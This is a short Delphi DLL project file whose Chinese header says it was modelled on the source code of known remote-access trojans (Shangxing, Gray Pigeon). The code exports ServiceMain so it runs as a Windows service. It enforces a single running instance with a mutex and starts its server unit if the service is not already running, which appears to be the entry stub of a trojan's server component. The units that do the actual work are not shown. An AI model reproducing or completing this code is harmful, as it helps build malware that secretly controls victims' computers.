vipdll.dpr

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

library dll;
uses
  start,Windows,mainserver, winntService;


exports
  ServiceMain;

begin
   DllProc := @DLLEntryPoint;
    CreateMutex(nil, TRUE, 'dll'); //TRUE 标明该进程拥有此 Mutex 对象
 if (GetLastError = ERROR_ALREADY_EXISTS) then exitprocess(0);//Mutex 
 //对象是否存在
 if not ServiceRunning('',ServiceName) then
   dllEntryPoint(DLL_PROCESS_ATTACH);

end.